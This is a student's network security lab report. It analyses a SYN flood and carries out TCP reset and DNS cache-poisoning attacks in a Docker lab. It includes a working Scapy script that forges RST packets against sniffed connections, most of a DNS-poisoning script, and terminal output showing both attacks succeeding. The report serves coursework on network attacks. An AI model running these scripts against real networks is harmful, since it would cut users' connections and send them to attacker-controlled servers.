Network Security

Lab 3 - 3035946760

Network Packet Analysis

1. The IP address of the server is 10.9.0.5
2. The attacker's real IP is 10.9.0.6
3. It appears to be a SYN Flooding Attack resulting in a DOS.
4. The attacker obtained the MAC address of the server through ARP, used sniffed IPs to send SYN packets to the server overwhelming the server and filling up its TCB queue so the server is forced to drop new connection resulting in a Denial of Service for its usual users.

TCP Reset Attack

In a TCP Reset Attack, the malicious attacker obtains obtains the source and destination IPs of the hosts on a TCP connection (and their respective port numbers) and the correct sequence number for the TCP packet to be sent (all of which can be obtained easily if they spoof the network) and then forward a TCP packet with its RST flag set to one to the destination (falsely) addressed from the source host to immediately terminate the connection.

Figure 1 shows the flag secret obtained after successfully setting up the attack environment as mentioned in the question script. Figure 2 displays the python source code for the script that sniffs all packets on the LAN and automatically generates the TCP-Reset Packet to terminate connections.

We can analyse all traffic in a LAN and setup policies to rate-limit excess amounts of reset packets or rate-limit sending reset packets. We can also block/label any RST packets from external sources that are deemed suspicious.

```
→  COMP3355 docker exec -it user1-tcp-rst bash
root@aad73f18e22e:/# telnet 10.7.0.2
Trying 10.7.0.2...
Connected to 10.7.0.2.
Escape character is '^]'.
Ubuntu 20.04.6 LTS
d2d06f8c9804 login: user
Password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.10.4-linuxkit x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Wed Nov  6 09:01:57 UTC 2024 from user1-tcp-rst.net-10.7.0.0 on pts/2
$ date
Wed Nov  6 09:02:54 UTC 2024
$ cat /home/user/flag
2kkruuzrzdPM3K19
$
```

Figure 1. The Flag inside the server

```python
from scapy.all import *


def send_rst(packet):
    # Extract (Src IP, Dst IP, Src Port, Dst Port) from sniffed pkts
    src_ip, src_port, dst_ip, dst_port = packet[IP].src, packet[TCP].sport, packet[IP].dst, packet[TCP].dport
    # Get Seq Num from sniffed pkts
    seq_num = packet[TCP].seq
    # Create pkt with RST and flags
    rst_pkt = IP(src=dst_ip, dst=src_ip) / TCP(sport=dst_port, dport=src_port, flags="R", seq=seq_num)
    # Send the RST Packet
    send(rst_pkt, verbose=0)
    print(f"RST Packet sent to {src_ip}:{src_port} from {dst_ip}:{dst_port}")



sniff(iface="br-298494f21682", filter=f"tcp", prn=send_rst)
```

Figure 2. The TCP-Reset Script using Scapy

As one can observe from the script's output on the attacker's terminal, the user first sends a DNS query to the DNS server, which in turns contacts the root, TLD and other secondary domain name servers to figure out the IP address for `www.example.com`. The DNS query's output, made by the user, can be seen in figure 3.

```
root@e471bfcfdb8d:/# dig "www.example.com"

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 44430
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 01b573e6d38ce5f901000000672b55de097da3bf0dce39b8 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; Query time: 4419 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Nov 06 11:41:18 UTC 2024
;; MSG SIZE  rcvd: 72
```

Figure 3. The `dig` output from the user's terminal

Since we can see all incoming traffic to the DNS server, whenever we observe the local DNS server contacts an external DNS server and forge a response from the external DNS server to the local DNS server, injecting the response with our name server. The local DNS server will cache the response and serve it to all users that look-up the target domain/s (in this case just domains containing `example` such as `www.example.com`).

The portion of attacker's script responsible for poisoning the local DNS server's cache can be seen in figure 4. The function `poison_dns` check all DNS packets that are sent out by the local DNS server (which has IP 10.9.0.53—see assignment's figure 4 for the LAN setup). As long as the DNS server has not cached the result for the DNS query made by the user (in which case we cannot

poison the DNS cache until the cache clears out), the local DNS server will contact other DNS server (root/TLD/authoritative DNS servers) to inquire about the IP of the target domains. We take such query packets, invert the sources and destinations to make it look like a response from that DNS server and inject the IP of the malicious website we want users to visit instead of the original website.

```
target_domains = [b'example']
def poison_dns(pkt):
    if DNS in pkt:
        # Check if DNS Server is contacting other DNS servers and looking for our target domains
        if pkt[IP].src == "10.9.0.53" and match_query(pkt[DNS].qd.qname):
            # Invert the src/dst IP/ports (forge the response)
            src_ip, src_port = pkt[IP].dst, pkt[UDP].dport
            dest_ip, dest_port = pkt[IP].src, pkt[UDP].sport
            # Extract the query data from the DNS packet
            dns_query_id, dns_query_dmn, dns_query_dmn_name = pkt[DNS].id, pkt[DNS].qd, pkt[DNS].qd.qname
            # Our Nameserver IP
            query_data = "10.9.0.153"
            # Send the froged DNS response to the victim
            send_dns(
                src_ip, dest_ip, src_port, dest_port,
                dns_query_id, dns_query_dmn, dns_query_dmn_name,
                query_data
            )

def match_query(query_domain):
    for domain in target_domains:
        if domain in query_domain:
            return True
    return False
```

Figure 4. Part of the attacker script that poisons the local DNS server's cache

Doing so allows the result to be cached in the local DNS server and served to uses who make queries even after the attacker script is offline as can be seen in figures 5 and 6 (which span the following two pages).

The first `dig` request in figure 5 was made when the attacker script was online while the second request was made when the attacker script was not running, indicating that the DNS-cache poisoning attack was successful. Figure 6 shows the output from the attacker script when the first query is made from the victim.

```
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 4547724f8ccd2ef901000000672c78765a03141792d708e0 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259191  IN      A       10.9.0.153

;; Query time: 1 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Nov 07 08:21:10 UTC 2024
;; MSG SIZE  rcvd: 88

root@e471bfcfdb8d:/# dig "www.example.com"

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9652
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 92c4a277d41804f601000000672c7877afdf19ca3a1117e7 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259190  IN      A       10.9.0.153

;; Query time: 1 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Nov 07 08:21:11 UTC 2024
;; MSG SIZE  rcvd: 88
```

Figure 5. First query made with the attacker script online but the second request is made with the attacker request is offline.

```
root@docker-desktop:/# python3 volumes/attack.py
DNS Poisoning Attack is running...
============ Sending DNS packet ============
Source IP: 192.5.6.30
Source Port: 53
Destination IP: 10.9.0.53
Destination Port: 33333
Query ID: 25432
DNS Query Domain: b'\x01_\x07example\x03com\x00\x00\x01\x00\x01'
DNS Query Domain Name: b'_.example.com.'
DNS Query Data: 10.9.0.153
========================================
.
Sent 1 packets.
============ Sending DNS packet ============
Source IP: 192.48.79.30
Source Port: 53
Destination IP: 10.9.0.53
Destination Port: 33333
Query ID: 63643
DNS Query Domain: b'\x03www\x07example\x03com\x00\x00\x01\x00\x01'
DNS Query Domain Name: b'www.example.com.'
DNS Query Data: 10.9.0.153
========================================
.
Sent 1 packets.
============ Sending DNS packet ============
Source IP: 10.9.0.5
Source Port: 49486
Destination IP: 10.9.0.53
Destination Port: 53
Query ID: 8815
DNS Query Domain: b'\x03www\x07example\x03com\x00\x00\x01\x00\x01'
DNS Query Domain Name: b'www.example.com.'
DNS Query Data: 10.9.0.153
========================================
.
Sent 1 packets.
```

Figure 6. The output from the attacker script, seen poisoning the local DNS cache